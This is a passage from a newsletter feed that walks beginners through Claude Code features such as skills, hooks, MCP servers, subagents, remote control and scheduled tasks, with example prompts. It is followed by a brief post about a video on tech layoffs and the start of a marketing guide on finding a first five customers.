TOLD you yesterday!&#8221;</p><p><strong>After</strong>: correct Claude once. It writes it down. It never forgets.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>Remember: I prefer short, casual emails. My business is a dog walking app in Denver. I always sign off with &#8220;Cheers&#8221; not &#8220;Best regards.&#8221;</code></p><p>(start a new session and paste: <code>Write a follow-up email to a client named Sarah about her golden retriever Max.</code> See if it remembers.)</p></div><h3>20. Project Scope vs Global Scope</h3><p>Your dog walking app has different rules than your Etsy candle shop. But your name and preferences are the same everywhere.</p><p><strong>Project scope</strong>: settings applying ONLY to your current project folder. Each project gets its own CLAUDE.md, its own rules, its own playbook.</p><p><strong>Global scope</strong>: settings following you everywhere. Your name, your writing style, your preferences.</p><p>Think of it like having different employee handbooks for different departments, but 1 company-wide policy covering all of them.</p><p><strong>Before</strong>: your blog project rules bleeding into your app project.</p><p><strong>After</strong>: each project has its own playbook. Global preferences stay consistent.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>Create a CLAUDE.md for this project with rules tailored to what we&#8217;re doing here. Also show me what&#8217;s in my global settings so I know what applies everywhere. Ask me clarifying questions to customize how to organize this for my needs.</code></p></div><p>---</p><h2>Section 7: Skills + Automation</h2><h3>21. Slash Commands</h3><p>Type &#8220;/&#8221; in Claude Code and a menu pops up. Quick actions you&#8217;ll use all the time:</p><p><code>/help</code>, <code>/clear</code>, <code>/compact</code>, <code>/model</code>, <code>/usage</code>.</p><p>There are also 2 hidden gems most people miss:</p><p>- <code>/insights</code> shows you patterns in how you&#8217;ve been using Claude Code. What&#8217;s working, what&#8217;s not, where you&#8217;re spending the most tokens. It&#8217;s your personal performance dashboard.</p><p>- <code>/btw</code> lets you give Claude a side note without interrupting its current task. Claude is halfway through rewriting your proposal and you realize &#8220;oh, I forgot to mention, use my new phone number.&#8221; Type <code>/btw use 555-1234 as my phone number</code> and Claude absorbs it without losing its place. As of March 13 2026, this command is currently available in terminal, not yet in the VSCode Claude Code extension.</p><div class="callout-block" data-callout="true"><p><strong>IN CLAUDE</strong>: type &#8220;/&#8221; and scroll through everything. Try <code>/insights</code> to see your personal usage patterns so far.</p></div><h3>22. Skills (Your Custom Workflows)</h3><p>THIS is where Claude Code goes from useful to life-changing.</p><p>I frequently hear from folks who followed my Claude Code tutorials: &#8220;MIND BLOWING!!&#8221;</p><p>A skill is a set of instructions saved as a file. They can be chained together. They can do complex things. Type <code>/skill-name</code> and an entire workflow runs.</p><p>Claude Code will always interpret your prompt, then determine what skill(s), if any, it should use. Or you can trigger the skill manually by typing <code>/skill-name</code>.</p><p>Here&#8217;s what my <code>/crosspost</code> skill does with 1 command:</p><p>1. <strong>Searches Google Drive</strong> for my latest finished videos (file access + tool use)</p><p>2. <strong>Downloads each video</strong> to my computer temporarily (file system tools)</p><p>3. <strong>Transcribes the audio</strong> using Whisper, a speech-to-text tool running locally on my machine (terminal commands)</p><p>4. <strong>Matches each transcript to its topic</strong> in my Airtable database (MCP connection to Airtable)</p><p>5. <strong>Reads my brand voice rules</strong> from my CLAUDE.md and writing templates (file access + context)</p><p>6. <strong>Writes 3 types of captions</strong> per video: a long SEO description for TikTok/YouTube/Instagram/Facebook, a short conversational tweet for Twitter/Threads/Bluesky, and a standalone text post for Substack (AI writing with constraints)</p><p>7. <strong>Runs every caption through a quality gate</strong> blocking banned words, checking character limits, catching vague references, and rejecting formatting I don&#8217;t use (hooks, concept #23)</p><p>8. <strong>Shows me all the captions</strong> in a review file so I approve them before anything goes live (plan mode philosophy, draft approval)</p><p>9. <strong>Publishes to 7 platforms simultaneously</strong> via Blotato&#8217;s API (MCP tool calls, parallel subagents)</p><p>10. <strong>Stores the Substack caption</strong> in Airtable for my n8n automation to pick up and post later (MCP + external automation)</p><p>11. <strong>Updates my Airtable database</strong> with the transcript, captions, post date, and status for every video (MCP + record keeping)</p><p>12. <strong>Renames the original files</strong> on Google Drive so I know they&#8217;ve been posted (file management via API)</p><p>13. <strong>Create DM automations</strong> by launching Claude Chrome extension, cloning DM automation templates, and swapping out the keyword and links.</p><p>1 command. 8 platforms. 12 steps.</p><p>All the concepts you&#8217;ve learned working together!</p><p>And it does this in parallel with subagents. If I have 5 videos, it spawns 5 mini-Claudes to transcribe them all at once, then 5 more to publish them all at once. What would take me 3 hours takes 10 minutes.</p><p>THIS is what a skill looks like at full power.</p><p>A markdown file with instructions turning Claude Code into your AI employee.</p><p>You don&#8217;t need to start this complex. Your first skill should be dead simple.</p><p>A <code>/weekly-recap</code> skill. It reads all the files you changed this week, summarizes what you worked on, and drafts a 3-paragraph update email for your team or clients. File access + AI writing + your CLAUDE.md voice rules. Concepts you already know.</p><p>1 command. Every Friday. Done in 30 seconds.</p><p>Later, when you add MCP connections (concept #25) and Perplexity (concept #26), your skills get WILD. A <code>/fact-check</code> skill reads your content line by line, searches the internet for primary sources, and flags anything unverified. But start simple.</p><p><strong>Before</strong>: writing the same 500-word prompt every time you want to run a recurring workflow.</p><p><strong>After</strong>: <code>/skill-name</code> and the entire thing runs. Build it once, use it forever. Improve it over time.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>Create a skill called &#8220;weekly-recap&#8221;. It should read all files modified in the last 7 days, summarize what changed and why, and draft a short update email in my voice. Make it something I&#8217;d run every Friday.</code> Now you have <code>/weekly-recap</code> forever.</p></div><h3>23. Hooks (Automated Guardrails)</h3><p>Hooks are scripts running automatically before or after Claude takes an action. Guardrails you don&#8217;t need to remember.</p><p>In my <code>/crosspost</code> skill, I have a quality gate hook. Every time Claude tries to publish a post, the hook automatically intercepts it and checks:</p><p>- Are there any banned punctuation marks? (I block specific ones from my brand voice.)</p><p>- Are there banned words? (40+ words I&#8217;ve banned.)</p><p>- Is the caption over the platform&#8217;s character limit?</p><p>- Is there missing media for platforms needing it?</p><p>- Does the text reference &#8220;this website&#8221; without naming the specific website?</p><p>If ANY check fails, the hook blocks the post. Claude has to fix the issue and try again. This happens automatically. I don&#8217;t need to remember to check. The guardrail is built in.</p><p>You also get a desktop notification when long tasks finish, so you don&#8217;t need to stare at the screen waiting.</p><p>You set up hooks by telling Claude what you want. Claude creates the hook for you.</p><p><strong>Before</strong>: forgetting to proofread, shipping typos, breaking your own brand rules.</p><p><strong>After</strong>: automated quality checks every single time. You set the rules, hooks enforce them.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>Set up a hook so my Mac sends me a desktop notification every time you finish a long task. I want to hear a sound when you&#8217;re done so I don&#8217;t need to watch the screen.</code></p></div><p>---</p><h2>Section 8: Connecting Claude to the Real World</h2><h3>24. Web Browsing</h3><p>Claude reads any webpage you give it.</p><p>Paste a URL and it fetches the page, reads the content, and works with it. Competitor pricing pages, blog posts, documentation, job listings, recipes... anything public on the internet.</p><p>Here&#8217;s what makes this different from ChatGPT: Claude Code reads the page AND takes action. It doesn&#8217;t stop at a summary. It writes a comparison doc, saves it to your project folder, and moves on to the next task.</p><p><strong>Before</strong>: manually copying website text into a chat window, losing formatting, missing sections.</p><p><strong>After</strong>: Claude fetches the page, pulls the data, creates a file with the analysis, and saves it. You review the finished document.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong> (swap the URL for a real one): </p><p><code>Read https://www.blotato.com, pull out their pricing tiers and top features, then create a file called competitor_analysis.md comparing them to 2 other competitors.</code></p></div><h3>25. MCP Servers (From Consultant to Employee)</h3><p>MCP stands for Model Context Protocol. In plain English: it&#8217;s the bridge between Claude and your real tools.</p><p>Remember tools (concept #5)? Those are what Claude does on your computer: reading files, searching folders, running commands. MCP extends this to the INTERNET. It connects Claude to apps like Google Drive, Slack, Notion, Airtable, Stripe, Perplexity, and your email.</p><p>Without MCP, Claude says &#8220;go update your Airtable.&#8221; With MCP, Claude UPDATES your Airtable.</p><p>My <code>/crosspost</code> skill uses 3 MCP connections: Airtable (to read topics and update records), Blotato (to publish to 7 social platforms), and Google Drive (to find and download videos). Claude talks directly to these tools. No copy-pasting. No switching tabs.</p><p><strong>Before</strong>: Claude says &#8220;here&#8217;s what you should update in your spreadsheet.&#8221; And YOU do it.</p><p><strong>After</strong>: Claude updates the spreadsheet, confirms the change, and moves to the next task.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>Help me connect my first MCP server. Walk me through adding Airtable step by step. I&#8217;ve never done this before.</code></p></div><p>Once you&#8217;ve connected Airtable MCP, try asking Claude to read or update items in your Airtable!</p><p>Type <code>/mcp</code> to see all your current MCP servers.</p><h3>26. Perplexity MCP (AI-Powered Web Research)</h3><p>Web browsing (#24) lets Claude read pages you point it to. Perplexity MCP lets Claude RESEARCH the entire internet with verified sources. I personally use Perplexity MCP ALL THE TIME instead of Claude&#8217;s native internet capabilities.</p><p>This step is optional, but I highly recommend it.</p><p>Instead of &#8220;read this 1 link,&#8221; it&#8217;s &#8220;go research this topic, find the 10 best verified sources, and tell me where you got each fact.&#8221;</p><p>This is the upgrade from reading 1 article to having a research assistant who reads 50 and gives you the summary with citations.</p><p>Note: Perplexity has its own pricing (free tier + paid plans at perplexity.ai). Check their site for current numbers.</p><p><strong>Before</strong>: Claude reads the 1 page you gave it.</p><p><strong>After</strong>: Claude finds the best sources using Perplexity MCP tailored to research, synthesizes sources, and cites every piece of info.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong> (after adding Perplexity MCP): </p><p><code>Create a skill called &#8216;fact-check&#8217;. It should read whatever content I provide, go line by line, and use Perplexity MCP to find primary sources backing every claim, and flag anything unverified. Each claim gets a verdict: confirmed, unverified, or wrong. With citations.</code></p></div><p>---</p><h2>Section 9: Agents, Remote Control + Scheduling</h2><h3>27. Subagents (Automatic Parallel Workers)</h3><p>When you give Claude a task with multiple independent parts, it automatically spawns mini-Claudes to handle them in parallel. You don&#8217;t need to ask for it. You don&#8217;t need to set it up. Claude decides on its own when parallel work would be faster.</p><p>&#8220;Research these 5 competitors&#8221; becomes 5 agents working simultaneously instead of 1 going through them 1 by 1.</p><p>In my <code>/crosspost</code> skill, if I have 5 new videos, Claude spawns 5 transcription agents at once. All 5 videos get transcribed simultaneously. Then 5 more to publish them all at once. What used to be sequential is now parallel.</p><p>You&#8217;ll see it happening in the output. Multiple tasks running at the same time. No configuration needed.</p><p><strong>Before</strong>: watching Claude research competitors sequentially for 10 minutes.</p><p><strong>After</strong>: 5 agents, 2 minutes, same work. Automatically.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>I need you to deeply research 5 companies for me. For EACH company, spawn a separate agent to visit their website, read their pricing page, read their features page, read at least 2 customer reviews, and write a full 1-page competitive analysis saved as a separate file. The companies: Notion, Airtable, Monday.com, ClickUp, and Asana.</code></p></div><p>Sit back and watch it spawn 5 agents working simultaneously!</p><p>It will say &#8220;Agent: Research XX competitive analysis&#8221; 5 times :) these are your AI employees working in parallel.</p><h3>28. Remote Control (Use Claude From Your Phone)</h3><p>Start a Claude Code session on your computer, then continue it from the Claude mobile app on your phone. Walk away from your desk. Keep working from the couch, a coffee shop, anywhere.</p><p>Your computer does all the heavy lifting. The phone is the remote control.</p><p>As of March 13 2026, remote control is available in terminal, but NOT in Visual Studio Code&#8217;s official Claude Chrome extension.</p><p>Pro tip: you can always open a terminal within VSCode!</p><p>How to set it up:</p><p>1. Make sure you&#8217;re on Claude Code v2.1.51+ (type <code>claude --version</code> to check, <code>claude update</code> to upgrade)</p><p>2. Type <code>claude remote-control</code> in Terminal (or <code>/rc</code> inside an existing session)</p><p>3. A QR code appears on screen. Scan it with your phone camera.</p><p>4. The Claude mobile app opens directly to your session. You&#8217;re connected.</p><p>Everything stays on your machine. The phone is a window into your local session.</p><p>To enable this by default: type <code>/config</code> inside Claude Code, find &#8220;Enable Remote Control for all sessions&#8221;, toggle it on. Now every session is accessible from your phone automatically.</p><p><strong>Before</strong>: need to be at your desk to use Claude Code.</p><p><strong>After</strong>: start a task at your desk, continue it from your phone while walking the dog or ruminating on the toilet. CEO mode.</p><div class="callout-block" data-callout="true"><p><strong>IN CLAUDE</strong>: </p><p><code>/remote-control</code> (scan the QR code with your phone, then send a message from the Claude app to confirm it works)</p></div><h3>29. Scheduled Tasks (/loop)</h3><p>Schedule Claude to run tasks on a recurring timer using <code>/loop</code>.</p><p><code>/loop 1h check if any new files were added to my Google Drive</code></p><p><code>/loop 1d pull my marketing data from Airtable and summarize</code></p><p>You write the interval and the task in plain English. Claude runs it automatically in the background. Type <code>Show me all my scheduled tasks</code> to see what&#8217;s running and cancel anything you don&#8217;t need.</p><p>2 things to know: tasks in the terminal only run while your session is open (close the terminal, they stop). And they auto-expire after 3 days as a safety net.</p><p>For permanent recurring tasks, you&#8217;d have to use the Claude Code Desktop app, which has other limitations. Personally, this is why I still use n8n for its orchestration layer, especially with n8n-mcp which allows Claude Code to create and fix all my n8n automations.</p><p><strong>Before</strong>: manually pulling the same report every morning.</p><p><strong>After</strong>: <code>/loop 1d summarize yesterday&#8217;s sales</code> and it&#8217;s waiting for you when you sit down.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>/loop 1h check my Downloads folder for new PDF invoices and list them with the total amount.</code></p></div><h3>30. Version Control with Git</h3><p>Every time Claude makes changes, you want a save point you can roll back to. That&#8217;s git. It&#8217;s already built into Claude Code.</p><p>Git is LOCAL. It saves versions on your computer. Think of it like a timeline of every change Claude ever made. You can rewind to any point. Nothing gets lost.</p><p>GitHub is the OPTIONAL cloud layer on top. It backs up your project online, lets you share it with a developer, and lets them review what Claude did. If you work with a team or want cloud backup, it&#8217;s worth setting up. But if you&#8217;re working solo, local git is all you need to start.</p><p>Claude Code works with both natively. Save versions, create branches, roll back mistakes, open pull requests for your developer to review... all from the terminal.</p><p><strong>Before</strong>: Claude makes changes and you pray nothing breaks. No undo button.</p><p><strong>After</strong>: every change is saved, documented, and reversible. You roll back to any previous version in seconds.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>Save all the changes we&#8217;ve made today as a new version with a description of what changed.</code></p></div><p>---</p><h3>Where to Start (Don&#8217;t Learn All 30 at Once)</h3><p>The shiny object trap is the #1 waste of time. Master 5 concepts before adding the next 5.</p><p><strong>Your first week</strong> (concepts 1-8):</p><p>1. Install it and open the terminal</p><p>2. Give it a file and watch it read + edit</p><p>3. Watch the tools work in real time (concept 5)</p><p>4. Create a CLAUDE.md with 3 rules for your main project</p><p>5. Use Plan mode for your first real task</p><p><strong>After a week</strong> (concepts 9-20):</p><p>- Learn how the whiteboard works and manage your costs</p><p>- Switch between models to save money</p><p>- Set up memory so Claude remembers your preferences</p><p>- Build your first skill (start with something simple)</p><p>- Try VS Code for reviewing changes</p><p><strong>After a month</strong> (concepts 21-30):</p><p>- Connect your first MCP server (Airtable, Notion, or Google Drive)</p><p>- Add Perplexity MCP and create a <code>/fact-check</code> skill</p><p>- Install the <a href="https://github.com/mksglu/context-mode">context-mode plugin</a> to reduce token usage</p><p>- Set up remote control to use Claude from your phone</p><p>- Schedule a recurring task with <code>/loop</code></p><p>- Save your work with git so you can roll back anytime</p><p>- Check <code>/insights</code> to see what&#8217;s working and optimize your usage</p><p>- Browse prebuilt skills</p><p>Speaking of prebuilt skills... hundreds of free ones already exist on GitHub. Browsing these repos is one of the best ways to learn what&#8217;s possible AND save yourself the work of building from scratch:</p><p>- <a href="https://github.com/anthropics/skills">anthropics/skills</a>: Anthropic&#8217;s official skills (docs, PDFs, slides, web apps, API builders)</p><p>- <a href="https://github.com/hesreallyhim/awesome-claude-code">hesreallyhim/awesome-claude-code</a>: a directory of the entire Claude Code ecosystem</p><p>- <a href="https://github.com/alirezarezvani/claude-skills">alirezarezvani/claude-skills</a>: 180+ skills for engineering, marketing, compliance</p><p>Simply drop the URL into Claude Code and tell it to set up the 3 most relevant skills for your needs :)</p><p>Just my one <code>/crosspost</code> skill saves me 10+ hours every week. And I keep making it better. Finetuned to my exact use case. Build once, reuse forever, improve over time.</p><p>Start today. Open the terminal. Type `<code>claude`</code>. Build something.</p><p>If you LOVE this newsletter, please SHARE it to help teach more people for FREE!</p><p>---</p><h3><strong>P.S. Need More Help? &#128075;</strong></h3><h3>1/ Free <a href="https://www.sabrina.dev/p/start">AI courses</a></h3><h3>2/ Free <a href="https://prompts.sabrina.dev/">AI prompts</a></h3><h3>3/ Free <a href="https://agents.sabrina.dev/">AI automations</a></h3><h3>4/ Free <a href="https://freevibecode.ai/">AI vibe coding</a></h3><h3>5/ Ask me anything @ <a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></h3><h3>6/ Free private community for <a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></h3><h3>7/ I built <a href="https://www.blotato.com/">Blotato</a> to grow 1M+ followers in 1 year</h3>]]></content:encoded></item><item><title><![CDATA[The Big Lie Behind Tech Layoffs]]></title><description><![CDATA[Are companies really firing thousands of people because of AI, or is it a massive cover-up?]]></description><link>https://www.sabrina.dev/p/big-lie-behind-tech-layoffs</link><guid isPermaLink="false">https://www.sabrina.dev/p/big-lie-behind-tech-layoffs</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Mon, 09 Mar 2026 18:45:59 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/a1Vd85ilWiI" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Data shows top AI agents can only complete 2.5% of real-world tasks, yet companies like Block, Salesforce, and Amazon are citing AI in massive layoff announcements.<br><br>In this video, I reveal the BIG LIE behind tech layoffs&#8230;</p><div id="youtube2-a1Vd85ilWiI" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;a1Vd85ilWiI&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/a1Vd85ilWiI?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h1>P.S. Need More Help? &#128075;</h1><blockquote><p>1/ Free <a href="https://www.sabrina.dev/p/start">AI courses</a></p><p>2/ Free <a href="https://prompts.sabrina.dev/">AI prompts</a></p><p>3/ Free <a href="https://agents.sabrina.dev/">AI automations</a></p><p>4/ Free <a href="https://freevibecode.ai/">AI vibe coding</a></p><p>5/ Ask me anything @ <a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></p><p>6/ Free private community for <a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></p><p>7/ I built <a href="https://www.blotato.com/">Blotato</a> to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item><item><title><![CDATA[21 Ways to Get Your First 5 Customers ($0 Budget)]]></title><description><![CDATA[I walk you through exactly how to get your first 5 customers for your new product, service, or offer.]]></description><link>https://www.sabrina.dev/p/21-ways-to-get-your-first-5-customers</link><guid isPermaLink="false">https://www.sabrina.dev/p/21-ways-to-get-your-first-5-customers</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Thu, 05 Mar 2026 19:44:34 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/DpSEX3h6RM4" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote><p>In case you missed it:</p><ul><li><p><a href="https://www.youtube.com/watch?v=c2dwmdcmF88">This Claude Code SEO Workflow Ranked Me #1 on Google</a></p></li><li><p><a href="https://youtu.be/l_jrlGbMSw4">How I code profitable apps SOLO</a></p></li><li><p><a href="https://youtu.be/qLI_5e8IsSY">OpenClaw vs Google mass ban wave</a></p></li><li><p><a href="https://www.instagram.com/reel/DVXTSv3Ca_l">Transform ChatGPT into a money making machine</a></p></li><li><p><a href="https://my.blotato.com/videos/create">The FIRST AI Agent that makes on-brand social media posts</a></p></li></ul></blockquote><p>Most startups die before they hit 5 customers.</p><p>Not because the product is bad. Because the founder doesn&#8217;t know where to FIND people.</p><p>I put together my FULL playbook for getting your first customers.</p><p>15 free methods. 6 paid methods. Every single one I've either done myself, am testing right now, or plan to try.</p><p>I grew Blotato from 0 to thousands of paying customers, completely SOLO, and I'm STILL doing most of these marketing channels. </p><p>None of them "tapped out."</p><p>They all keep working, 100x more users later.</p><p>Today I'm breaking it down step by step.</p><div id="youtube2-DpSEX3h6RM4" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;DpSEX3h6RM4&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/DpSEX3h6RM4?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p>To support my free AI education: HIT LIKE + LEAVE A COMMENT&#128591;</p><div><hr></div><h2>The FREE Methods</h2><h2>1. Reach Out to Friends, Family, and Past Colleagues</h2><p>I&#8217;m going to be honest. I skipped this one entirely.</p><p>I didn&#8217;t know any content creators or influencers in my network. And I didn&#8217;t want to deal with explaining what I was building to people who wouldn&#8217;t get it.</p><p>But if your product or service is relevant to people in your warm network... start here.</p><p>I know consultants who landed their first client from a friend&#8217;s referral. They did the work, built a case study, and used it to reach out to strangers.</p><p>The benefit of warm relationships: you have leeway to figure things out. You&#8217;re not under pressure to nail it for a cold client on day 1.</p><p>Even 1 or 2 warm users gives you a testimonial, a case study, and the confidence to go bigger.</p><h2>2. Send DMs on Instagram, Substack, Twitter, and LinkedIn</h2><p>People sleep on this one SO hard.</p><p>I check my DMs. I check people who offer value. And I&#8217;ve hired from cold DMs.</p><p>Real example: I posted <a href="https://www.linkedin.com/posts/sabrinaramonov_this-feedback-was-hard-to-hear-i-asked-activity-7416526956134965248-wa1W?utm_source=share&amp;utm_medium=member_desktop&amp;rcm=ACoAAApv_lABhi1Wwo42owiqTrrpTozoMTbgxmY">this LinkedIn post</a> sharing feedback from my husband about my YouTube videos needing more polish. It wasn&#8217;t a hiring post.</p><p>A guy commented saying he re-edited one of my videos with a before and after sample. Then he <a href="https://www.linkedin.com/messaging/thread/2-N2MyYzcwNDktYWYzYi00ZTJiLWE2MWUtOTY2MjA3OGU3YzE0XzEwMA==/?searchTerm=manet">cold DM&#8217;d me directly</a>.</p><p>I hopped on a call with him the next day. Engineering background. Hired him on the spot. He edits my YouTube videos now.</p><p>Here&#8217;s the formula:</p><blockquote><p>Find someone relevant. Do the work upfront. Show them a sample BEFORE asking for anything. Make it dumb simple for them to say yes.</p></blockquote><p>The OTHER way to use DMs is to have people DM YOU.</p><p>I posted <a href="https://www.instagram.com/p/DUmOgcUDItg/">this Instagram video</a> and said &#8220;comment X to get the free template.&#8221; Almost 3,000 comments in a day. All automated with ManyChat on the backend.</p><p>You don&#8217;t need 3,000 comments. 30 people raising their hand is HUGE when you&#8217;re starting out.</p><p>You&#8217;d be surprised how often people respond to professional, non-salesy DMs. Be a human. Offer value first.</p><h2>3. Post on Facebook, Skool, and WhatsApp Groups</h2><p>I neglect this path. And every single time I do it, it works.</p><p>Real example: I&#8217;m in the <a href="https://www.facebook.com/groups/1576312052950752/?multi_permalinks=1720861621829127">n8n Developers Facebook group</a>. I copied a description from my help docs, explained what the automation does, and posted the template in the comments linking to my product.</p><p>Didn&#8217;t go viral. Didn&#8217;t need to.</p><p>Every person in a niche Facebook group is HIGHLY qualified. They&#8217;re already interested in the exact thing you do.</p><p>The mistake people make: they spam and sell without ever contributing.</p><p>I answer questions. I share automations with nothing to do with Blotato. I show up as a real member of the community. So when I DO post about my product, people support it.</p><p>My last post was in October. I keep telling myself to do this more. Every time I remember, it works. Then I forget again for months.</p><p>If you&#8217;re reading this and you haven&#8217;t posted in your niche communities this month... go do it. Right now.</p><h2>4. Post Short Content and Videos on Social Media</h2><p>I&#8217;m biased. I think everyone should do this.</p><p>I launched a <a href="https://www.youtube.com/watch?v=T-F_2Kga3Os">full tutorial</a> on exactly how to do this. Choosing a niche, copying hooks, everything.</p><p>The #1 mistake: people try to be too clever with their hooks.</p><p>Scroll Instagram. See what&#8217;s already going viral. Copy the hook. The title. The positioning. The colors. The font size.</p><p>Don&#8217;t change a billion things. Look as close to the original viral video as you&#8217;re able to. Then put YOUR spin on the content.</p><p>For engagement, pick 1 primary platform. After you post, engage for the first hour. If a video gets more views than usual in hour 1, double down on the winner. Reply to every comment on your winner.</p><p>You don&#8217;t need to engage on every video across every platform. Pick the one taking off.</p><p>One website I LOVE for inspiration: <a href="https://www.socialgrowthengineers.com/">Social Growth Engineers</a>. They curate viral TikTok videos. It&#8217;s mindblowing to see the creative hooks people use to promote apps and products.</p><p>I subscribe to their free newsletter. It&#8217;s one of the only newsletters I look forward to reading every week.</p><h2>5. Post Long-Form YouTube Videos</h2><p>This is different work than short-form. WAY different.</p><p>My short-form is raw, authentic, unscripted. My long-form used to be completely off the cuff too. Now I prep outlines and have a video editor.</p><p>The strategy: post videos showcasing your expertise. If you sell AI automations, post a full <a href="https://studio.youtube.com/playlist/PLy9mLEnHHo4VJvE_RK01bIUKKg0uFunFX/videos">AI automation course</a>. Tutorial-style content where your product is naturally woven in.</p><p>Don&#8217;t make the video ABOUT your product. Make it about the problem. Your product shows up as the solution while you&#8217;re teaching.</p><p>If you&#8217;re a consultant, go deep on your area. Financial advisor? Post long-form breakdowns of tax strategies. Your authority builds with each video.</p><p>This is a slower burn than short-form. But the people who find your long-form content are MUCH more qualified. They spent 20 minutes with you. They trust you way more than someone who saw a 30-second TikTok.</p><h2>6. Send Cold Email</h2><p>I haven&#8217;t done this for Blotato. I was so scarred from cold outbound at my 1st startup, I&#8217;ve avoided it.</p><p>But I see the math.</p><p>Use AI and automation to scrape emails. Google Business listings are a goldmine for local businesses. You write the value prop, AI personalizes at scale, and you send.</p><p>If your targeting is right and your value prop is right&#8230; it&#8217;s cost-effective and scalable.</p><p>This is definitely a channel I&#8217;m interested in exploring.</p><h2>7. Submit to Directories</h2><p><a href="https://www.producthunt.com/">Product Hunt</a> is the obvious one. But it&#8217;s hard to rank top 3 without an existing user base or community.</p><p>But there&#8217;s also <a href="https://www.submitjuice.com/">SubmitJuice</a>, which automates submissions to tons of directories at once.</p><p>This is a &#8220;set it and forget it&#8221; type of task. Submit your product, get backlinks, pick up a few users who are browsing directories.</p><p>I don&#8217;t think this drives massive traffic on its own. But it compounds with everything else. </p><p>More backlinks = better SEO = more organic traffic over time.</p><h2>8. Revenue Share with Affiliate Partners</h2><p>Find people who already have your audience. Offer them a cut of every sale they send you.</p><p>This works GREAT when you find the right partners. The key: they need to genuinely understand your product and the pain points it solves.</p><p>One of my biggest challenges with affiliate and influencer marketing early on... non-technical influencers didn&#8217;t understand the API side of Blotato. And the web app didn&#8217;t get much love so it remained confusing to use. </p><p>As a result, their content came across inauthentic because they couldn&#8217;t articulate what it does and many THOUSANDS of dollars totally wasted with negative ROI.</p><p>Don&#8217;t do what I did! You want affiliates who USE your product and understand the space. Who feel the pain it solves. Who talk about it like it&#8217;s their own.</p><h2>9. Post on Relevant Product Forums</h2><p>If your product integrates with another product, go hang out where THEIR users are.</p><p>Blotato integrates with n8n. So I post <a href="https://n8n.io/workflows/?q=blotato">templates</a> on the n8n workflow library and contribute to the <a href="https://community.n8n.io/search?q=blotato">n8n community forum</a>.</p><p>Every template links back to my product.</p><p>Every forum answer builds credibility.</p><p>This is free, targeted, and compounds over time. The templates stay up FOREVER. People find them months later and become users.</p><h2>10. Rank in AI SEO for a Specific Keyword</h2><p>This one I haven&#8217;t started. And I&#8217;m kicking myself.</p><p>The play: target &#8220;Competitor + Alternatives&#8221; keywords. Like &#8220;Buffer alternatives&#8221; or &#8220;Hootsuite alternatives.&#8221;</p><p>People searching those keywords are READY to switch. They&#8217;re already looking for something new. They&#8217;re warmed up, educated, bottom-of-funnel potential users. You don&#8217;t need to convince them they need the product category.</p><p>You just need to show them YOUR product is better.</p><p>I plan to do an SEO push with Claude Code soon. I want to automate 95% of my SEO, then open-source everything I did :) </p><h2>11. Build Free Public Lead Magnets</h2><p>I built an <a href="https://agents.sabrina.dev/">AI agents directory</a> in about 1 hour. </p><p>It&#8217;s a curated spreadsheet.</p><p>Thousands of people visit it every month. My Supabase backend kept hitting quota limits from the traffic so I recently upgraded it.</p><p>The directory has my product naturally embedded. If someone&#8217;s looking for content creation tools, Blotato shows up as &#8220;featured.&#8221; If they&#8217;re looking for customer support tools, it doesn&#8217;t show up. Because it&#8217;s not relevant.</p><p>Your product appears naturally where it fits. No hard sell.</p><p>Other lead magnet ideas:</p><blockquote><p>Curate 500 viral hooks for your niche. Give away the first 500 free. Gate the next 500 behind an email signup.</p></blockquote><p>The lead magnet does double duty: drives traffic AND collects emails.</p><h2>12. Offer Influencers a Webinar or Masterclass</h2><p>Flip the script. Instead of paying an influencer to promote you, offer to HOST a free high-value webinar for their audience.</p><p>You bring the expertise. They bring the audience. Win-win.</p><p>You get in front of a warm audience, you demonstrate your expertise, and your product is woven into the demo naturally.</p><p>To get an influencer to agree to this, however, you need to be incredibly generous in providing value first. We generally don&#8217;t put randos in front of your audience :) engage naturally in their audience/community, give a ton of value, then make the proposal.</p><h2>13. Reverse Job Board with Upwork</h2><p>Go on <a href="http://upwork.com/">Upwork</a>. Search for people looking for help with the problem your product solves.</p><p>Pitch them your tool or service as the solution.</p><p>This is a bit more manual. But the people on Upwork are ACTIVELY looking for a solution and willing to pay for 